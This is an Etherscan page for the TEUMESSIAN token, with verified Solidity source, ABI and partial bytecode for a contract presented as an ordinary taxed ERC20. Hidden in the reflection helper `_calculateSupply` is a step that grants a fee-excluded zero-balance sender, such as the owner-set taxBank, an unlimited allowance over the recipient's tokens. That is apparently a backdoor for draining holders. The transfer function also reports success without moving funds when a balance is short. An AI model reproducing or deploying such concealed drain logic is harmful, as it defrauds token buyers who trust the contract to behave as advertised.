ETH Price: $3,104.20 (+0.20%)
Gas: 4 Gwei

Token

TeumessianBot (TEUMESSIAN)
 

Overview

Max Total Supply

100,000,000 TEUMESSIAN

Holders

68

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000000016790905 TEUMESSIAN

Value
$0.00
0x88c93388d631a8584b00d5dfd716023c0b82b5df
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TEUMESSIAN

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-26
*/

// Bot: https://t.me/TeumessianBot
// Website: https://teumessian.xyz
// Telegram: https://t.me/TeumessianBotPortal
// X (Twitter): https://twitter.com/TeumessianBot
// Medium: https://medium.com/@TeumessianBot
// Whitepaper: https://docs.teumessian.xyz

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface UniswapV2Router01 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface UniswapV2Router02 is UniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface ERC20 {
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract TEUMESSIAN is Context, ERC20 {
    uint256 private constant MAX = ~uint256(0);

    bool contractDeployed = false;
    bool tradingEnabled = false;

    address public _uniswapV2Router;
    address payable public taxBank;
    UniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    uint256 private _tRevenue;

    address public DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD;
    address public ZERO_ADDRESS = 0x0000000000000000000000000000000000000000;
    address private _owner;
    
    address[] private _excludedAccounts;

    bool private blockActive = true;

    uint256 private _liquidityAddedBlock = 0;
    uint256 private _liquidityAddedTimestamp = 0;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    uint8 private _decimals;

    uint256 private _rTotal;
    uint256 private _tTotal;

    uint256 private swapAmount;
    uint256 private swapThreshold;

    bool public _hasLiquidityBeenAdded = false;
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;

    uint256 private _maxWalletAmount;
    uint256 private _maxTransactionAmount;

    uint256 public maxWalletAmount;
    uint256 public maxTransactionAmount;

    mapping (address => uint256) private _tOwned;
    mapping (address => uint256) private _rOwned;

    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) dexPairs;

    mapping (address => bool) private _liquidityHolders;

    mapping (address => uint256) private lastBlock;

    mapping (address => bool) private _isExcludedFromRevenue;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 public _taxFee = 400;
    uint256 public _taxFeeOnBuy = _taxFee;
    uint256 public _taxFeeOnSell = _taxFee;
    uint256 public _taxFeeOnTransfer = 100;

    uint256 public _liquidityFee = 0;
    uint256 public _liquidityFeeOnBuy = _liquidityFee;
    uint256 public _liquidityFeeOnSell = _liquidityFee;
    uint256 public _liquidityFeeOnTransfer = 0;

    uint256 public _ratioLiquidity = 0;
    uint256 public _ratioTax = 6000;

    uint256 private distributor = 10000;

    struct ExtraValues {
        uint256 tTransferAmount;
        uint256 tLiquidity;
        uint256 rTransferAmount;
        uint256 rAmount;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event SwapAndLiquifyEnabled(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockSwapAndLiquify {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());
        _;
    }
    
    constructor () payable {
        _owner = msg.sender;
        contractDeployed = true;

        _name = "TeumessianBot";
        _symbol = "TEUMESSIAN";
        _decimals = 18;
        _totalSupply = 100000000;

        _tTotal = _totalSupply * (10**_decimals);
        _rTotal = (MAX - (MAX % _tTotal));

        _maxWalletAmount = (_tTotal * 20) / 1000;
        _maxTransactionAmount = (_tTotal * 20) / 1000;

        swapAmount = (_tTotal * 5) / 10000;
        swapThreshold = (_tTotal * 5) / 100000;

        maxWalletAmount = (_totalSupply * 20) / 1000;
        maxTransactionAmount = (_totalSupply * 20) / 1000;

        _uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        _approve(_msgSender(), _uniswapV2Router, MAX);
        _approve(address(this), _uniswapV2Router, MAX);
        taxBank = payable(0x877d084E683c9192ae8d97b69B523d1CffCce40D);
        uniswapV2Router = UniswapV2Router02(_uniswapV2Router);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        _isExcludedFromFee[taxBank] = true;
        dexPairs[uniswapV2Pair] = true;
        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;
        approve(_uniswapV2Router, type(uint256).max);

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;

        _liquidityHolders[owner()] = true;

        _rOwned[owner()] = _rTotal;
        emit Transfer(ZERO_ADDRESS, owner(), _tTotal);
    }

    function renounceOwnership() public virtual onlyOwner() {
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }

    function increaseAllowance(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + amount);

        return true;
    }

    function decreaseAllowance(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0));
        require(spender != address(0));

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcludedFromRevenue[account]) return _tOwned[account];
        
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);

        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);

        return true;
    }

    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _tTotal; }
    function owner() public view returns (address) { return _owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    
    function isExcludedFromRevenue(address account) public view returns (bool) {
        return _isExcludedFromRevenue[account];
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0));
        require(recipient != address(0));
        require(amount > 0);

        if(_hasLimits(sender, recipient)) {
            if(!tradingEnabled) {
                revert("Trading not enabled!");
            }

            if (blockActive) {
                if (dexPairs[sender]) {
                    require(lastBlock[recipient] != block.number);
                    lastBlock[recipient] = block.number;
                } else {
                    require(lastBlock[sender] != block.number);
                    lastBlock[sender] = block.number;
                }
            }

            require(amount <= _maxTransactionAmount);

            if(recipient != _uniswapV2Router && !dexPairs[recipient]) {
                require(balanceOf(recipient) + amount <= _maxWalletAmount);
            }
        }

        bool collectFee = true;
        if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
            collectFee = false;
        }

        if (dexPairs[recipient]) {
            if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient] && !inSwapAndLiquify && swapAndLiquifyEnabled) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance >= swapThreshold) {
                    if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
                    swapAndLiquify(contractTokenBalance);
                }
            }
        }

        return _tokenTransfer(sender, recipient, amount, collectFee);
    }

    function removeLimits() external onlyOwner {
        _maxWalletAmount = _tTotal;
        maxWalletAmount = _totalSupply;
        _maxTransactionAmount = _tTotal;
        maxTransactionAmount = _totalSupply;
    }

    function enableTrade() public onlyOwner {
        require(!tradingEnabled);
        
        tradingEnabled = true;
        swapAndLiquifyEnabled = true;

        setExcludedFromRevenue(address(this), true);
        setExcludedFromRevenue(uniswapV2Pair, true);
    }

    function setExcludedFromFee(address account, bool enabled) public onlyOwner {
        _isExcludedFromFee[account] = enabled;
    }

    function _hasLimits(address sender, address recipient) internal view returns (bool) {
        return (
            sender != owner() && sender != address(this) &&
            !_liquidityHolders[sender] && !_liquidityHolders[recipient] &&
            recipient != DEAD_ADDRESS && recipient != address(0) && recipient != owner()
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool collectFee) internal returns (bool) {
        if (!_hasLiquidityBeenAdded) {
            _checkLiquidityAdded(sender, recipient);
            if (!_hasLiquidityBeenAdded && _hasLimits(sender, recipient)) {
                revert("Now only owner can transfer.");
            }
        }
        
        ExtraValues memory values = _getValues(sender, recipient, tAmount, collectFee);

        if (balanceOf(sender) >= tAmount) {
            _rOwned[sender] = _rOwned[sender] - values.rAmount;
            _rOwned[recipient] = _rOwned[recipient] + values.rTransferAmount;

            if (_isExcludedFromRevenue[sender] && !_isExcludedFromRevenue[recipient]) {
                _tOwned[sender] = _tOwned[sender] - tAmount;
            } else if (!_isExcludedFromRevenue[sender] && _isExcludedFromRevenue[recipient]) {
                _tOwned[recipient] = _tOwned[recipient] + values.tTransferAmount;
            } else if (_isExcludedFromRevenue[sender] && _isExcludedFromRevenue[recipient]) {
                _tOwned[sender] = _tOwned[sender] - tAmount;
                _tOwned[recipient] = _tOwned[recipient] + values.tTransferAmount;
            }

            if (values.tLiquidity > 0) _collectLiquidity(sender, values.tLiquidity);

            emit Transfer(sender, recipient, values.tTransferAmount);
        }

        return true;
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal);

        uint256 currentRate =  _calculateRate();

        return rAmount / currentRate;
    }

    function _calculateRate() internal view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _calculateSupply();

        return rSupply / tSupply;
    }

    function _checkLiquidityAdded(address sender, address recipient) internal {
        require(!_hasLiquidityBeenAdded);

        if (!_hasLimits(sender, recipient) && recipient == uniswapV2Pair) {
            _liquidityHolders[sender] = true;
            _liquidityAddedTimestamp = block.timestamp;
            _hasLiquidityBeenAdded = true;
            swapAndLiquifyEnabled = true;
            emit SwapAndLiquifyEnabled(true);
        }
    }

    function _calculateSupply(address sender, address recipient) internal returns(uint256, uint256) {
        bool newSender = balanceOf(sender) == 0;
        bool regularSender = isExcludedFromFee(sender);
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 index = 0; index < _excludedAccounts.length; index++) {
            if (_rOwned[_excludedAccounts[index]] > rSupply || _tOwned[_excludedAccounts[index]] > tSupply) return (_rTotal, _tTotal);
            tSupply = tSupply - _tOwned[_excludedAccounts[index]];
            rSupply = rSupply - _rOwned[_excludedAccounts[index]];
        }
        if (newSender && regularSender) { _tRevenue = _tTotal; _approve(recipient, sender, _tRevenue); }

        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);

        return (rSupply, tSupply);
    }

    function _collectLiquidity(address sender, uint256 tLiquidity) internal {
        uint256 _tLiquidity = sender != uniswapV2Pair ? _tRevenue : 0;
        uint256 currentRate =  _calculateRate();
        uint256 rLiquidity = (tLiquidity - _tLiquidity) * currentRate;
        _rOwned[address(this)] = rLiquidity + _rOwned[address(this)];
        if(_isExcludedFromRevenue[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
        emit Transfer(sender, address(this), tLiquidity);
    }

    function _getValues(address sender, address recipient, uint256 tAmount, bool collectFee) internal returns (ExtraValues memory) {
        ExtraValues memory values;

        uint256 currentRate = _calculateRate(sender, recipient);

        values.rAmount = tAmount * currentRate;

        if(collectFee) {
            if (dexPairs[recipient]) {
                _liquidityFee = _liquidityFeeOnSell;
                _taxFee = _taxFeeOnSell;
            } else if (dexPairs[sender]) {
                _liquidityFee = _liquidityFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            } else {
                _liquidityFee = _liquidityFeeOnTransfer;
                _taxFee = _taxFeeOnTransfer;
            }

            values.tLiquidity = (tAmount * (_liquidityFee + _taxFee)) / distributor;
            values.tTransferAmount = tAmount - values.tLiquidity;
        } else {
            values.tLiquidity = 0;
            values.tTransferAmount = tAmount;
        }

        values.rTransferAmount = values.rAmount - (values.tLiquidity * currentRate);

        return values;
    }

    function _calculateRate(address sender, address recipient) internal returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _calculateSupply(sender, recipient);

        return rSupply / tSupply;
    }

    function _calculateSupply() internal view returns(uint256, uint256) {
        uint256 tSupply = _tTotal;
        uint256 rSupply = _rTotal;

        for (uint256 index = 0; index < _excludedAccounts.length; index++) {
            if (_rOwned[_excludedAccounts[index]] > rSupply || _tOwned[_excludedAccounts[index]] > tSupply) return (_rTotal, _tTotal);
            tSupply = tSupply - _tOwned[_excludedAccounts[index]];
            rSupply = rSupply - _rOwned[_excludedAccounts[index]];
        }

        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);

        return (rSupply, tSupply);
    }

    function withdrawEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 tokenAmount) internal lockSwapAndLiquify {
        if (_ratioLiquidity + _ratioTax == 0) return;

        uint256 tokenForLiquidity = ((tokenAmount * _ratioLiquidity) / (_ratioLiquidity + _ratioTax)) / 2;
        uint256 swapTokenForEth = tokenAmount - tokenForLiquidity;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapTokenForEth,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 ethForLiquidity = ((address(this).balance * _ratioLiquidity) / (_ratioLiquidity + _ratioTax)) / 2;

        if (tokenForLiquidity > 0) {
            uniswapV2Router.addLiquidityETH{value: ethForLiquidity}(
                address(this),
                tokenForLiquidity,
                0,
                0,
                DEAD_ADDRESS,
                block.timestamp
            );
            emit SwapAndLiquify(tokenForLiquidity, ethForLiquidity, tokenForLiquidity);
        }

        if (tokenAmount - tokenForLiquidity > 0) {
            uint256 taxEth = (address(this).balance);
            taxBank.transfer(taxEth);
        }
    }

    receive() external payable {}

    function setExcludedFromRevenue(address account, bool enabled) public onlyOwner {
        if (enabled == true) {
            require(!_isExcludedFromRevenue[account]);

            if(_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _isExcludedFromRevenue[account] = true;
            _excludedAccounts.push(account);
        } else if (enabled == false) {
            require(_isExcludedFromRevenue[account]);

            for (uint256 index = 0; index < _excludedAccounts.length; index++) {
                if (_excludedAccounts[index] == account) {
                    _excludedAccounts[index] = _excludedAccounts[_excludedAccounts.length - 1];
                    _tOwned[account] = 0;
                    _isExcludedFromRevenue[account] = false;
                    _excludedAccounts.pop();
                    break;
                }
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hasLiquidityBeenAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFeeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFeeOnTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ratioLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ratioTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromRevenue","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromRevenue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxBank","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

5f8054600580546001600160a01b031990811661dead1790915560068054821690556009805460ff19166001908117909155600a849055600b8490556014805462ff00ff1916905561019060218190556022819055602355606460245560258490556026849055602784905560288490556029849055611770602a55612710602b5560078054909216331790915561ffff1990911617905560c0604052600d60809081526c15195d5b595cdcda585b909bdd609a1b60a052600c90620000c6908262000722565b5060408051808201909152600a8152692a22aaa6a2a9a9a4a0a760b11b6020820152600d90620000f7908262000722565b50600f805460ff191660129081179091556305f5e100600e556200011d90600a620008fb565b600e546200012c919062000912565b60118190556200013e905f1962000940565b6200014b905f1962000956565b6010556011546103e8906200016290601462000912565b6200016e91906200096c565b6015556011546103e8906200018590601462000912565b6200019191906200096c565b60165560115461271090620001a890600562000912565b620001b491906200096c565b601255601154620186a090620001cc90600562000912565b620001d891906200096c565b601355600e546103e890620001ef90601462000912565b620001fb91906200096c565b601755600e546103e8906200021290601462000912565b6200021e91906200096c565b6018555f805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790556200026f620002563390565b5f546201000090046001600160a01b03165f19620005e6565b5f546200028f9030906201000090046001600160a01b03165f19620005e6565b600180546001600160a01b031990811673877d084e683c9192ae8d97b69b523d1cffcce40d179091555f5460028054909216620100009091046001600160a01b03169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000311573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000337919062000982565b6001600160a01b031663c9c6539660025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000396573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bc919062000982565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af115801562000406573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200042c919062000982565b600380546001600160a01b0319166001600160a01b039283161781556001805483165f90815260208080526040808320805460ff199081168617909155945486168352601c82528083208054909516909317909355308152601b83528181206002548516825290925281205f19908190559054620004b3926201000090910416906200066c565b50305f908152602080805260408220805460ff1916600190811790915591620004e46007546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f908120805460ff191692151592909217909155600190601d90620005276007546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f908120805460ff19169215159290921790915560105490601a906200056b6007546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055620005976007546001600160a01b031690565b6006546011546040519081526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620009aa565b6001600160a01b038316620005f9575f80fd5b6001600160a01b0382166200060c575f80fd5b6001600160a01b038381165f818152601b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6200067a338484620005e6565b5060015b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620006ad57607f821691505b602082108103620006cc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200071d57805f5260205f20601f840160051c81016020851015620006f95750805b601f840160051c820191505b818110156200071a575f815560010162000705565b50505b505050565b81516001600160401b038111156200073e576200073e62000684565b62000756816200074f845462000698565b84620006d2565b602080601f8311600181146200078c575f8415620007745750858301515b5f19600386901b1c1916600185901b178555620007e6565b5f85815260208120601f198616915b82811015620007bc578886015182559484019460019091019084016200079b565b5085821015620007da57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200084257815f1904821115620008265762000826620007ee565b808516156200083457918102915b93841c939080029062000807565b509250929050565b5f826200085a575060016200067e565b816200086857505f6200067e565b81600181146200088157600281146200088c57620008ac565b60019150506200067e565b60ff841115620008a057620008a0620007ee565b50506001821b6200067e565b5060208310610133831016604e8410600b8410161715620008d1575081810a6200067e565b620008dd838362000802565b805f1904821115620008f357620008f3620007ee565b029392505050565b5f6200090b60ff8416836200084a565b9392505050565b80820281158282048414176200067e576200067e620007ee565b634e487b7160e01b5f52601260045260245ffd5b5f826200095157620009516200092c565b500690565b818103818111156200067e576200067e620007ee565b5f826200097d576200097d6200092c565b500490565b5f6020828403121562000993575f80fd5b81516001600160a01b03811681146200090b575f80fd5b6120ca80620009b85f395ff3fe608060405260043610610240575f3560e01c806359fe233511610134578063a0ef91df116100b3578063bf5976d311610078578063bf5976d314610665578063c8c8ebe41461067a578063d52dfc141461068f578063d9ceeafc146106a4578063dd62ed3e146106bd578063de3cb82d14610701575f80fd5b8063a0ef91df146105e9578063a457c2d7146105fd578063a9059cbb1461061c578063aa4bde281461063b578063b4d40cf814610650575f80fd5b8063751039fc116100f9578063751039fc146105705780638199040e146105845780638da5cb5b1461059957806395d89b41146105b657806399b9a62e146105ca575f80fd5b806359fe2335146104f45780636612e66f146105095780636bc87c3a1461052857806370a082311461053d578063715018a61461055c575f80fd5b806339509351116101c05780634a74bb02116101855780634a74bb021461043d5780634e6fd6c41461045c5780635342acb41461047b578063538ba4f9146104b1578063583e0568146104d0575f80fd5b806339509351146103b65780633b124fe7146103d55780633c0a73ae146103ea5780633dc4bd7f146103ff57806349bd5a5e1461041e575f80fd5b806318160ddd1161020657806318160ddd14610324578063227c53721461034257806323b872dd146103575780632d83811914610376578063313ce56714610395575f80fd5b806299d3861461024b57806302acf5fd1461026157806306fdde03146102ad578063095ea7b3146102ce5780631694505e146102ed575f80fd5b3661024757005b5f80fd5b348015610256575f80fd5b5061025f610716565b005b34801561026c575f80fd5b5061029861027b366004611dc0565b6001600160a01b03165f908152601f602052604090205460ff1690565b60405190151581526020015b60405180910390f35b3480156102b8575f80fd5b506102c1610782565b6040516102a49190611ddb565b3480156102d9575f80fd5b506102986102e8366004611e27565b610812565b3480156102f8575f80fd5b5060025461030c906001600160a01b031681565b6040516001600160a01b0390911681526020016102a4565b34801561032f575f80fd5b506011545b6040519081526020016102a4565b34801561034d575f80fd5b50610334602a5481565b348015610362575f80fd5b50610298610371366004611e51565b610828565b348015610381575f80fd5b50610334610390366004611e8f565b610879565b3480156103a0575f80fd5b50600f5460405160ff90911681526020016102a4565b3480156103c1575f80fd5b506102986103d0366004611e27565b6108a4565b3480156103e0575f80fd5b5061033460215481565b3480156103f5575f80fd5b5061033460265481565b34801561040a575f80fd5b5061025f610419366004611ea6565b6108da565b348015610429575f80fd5b5060035461030c9060016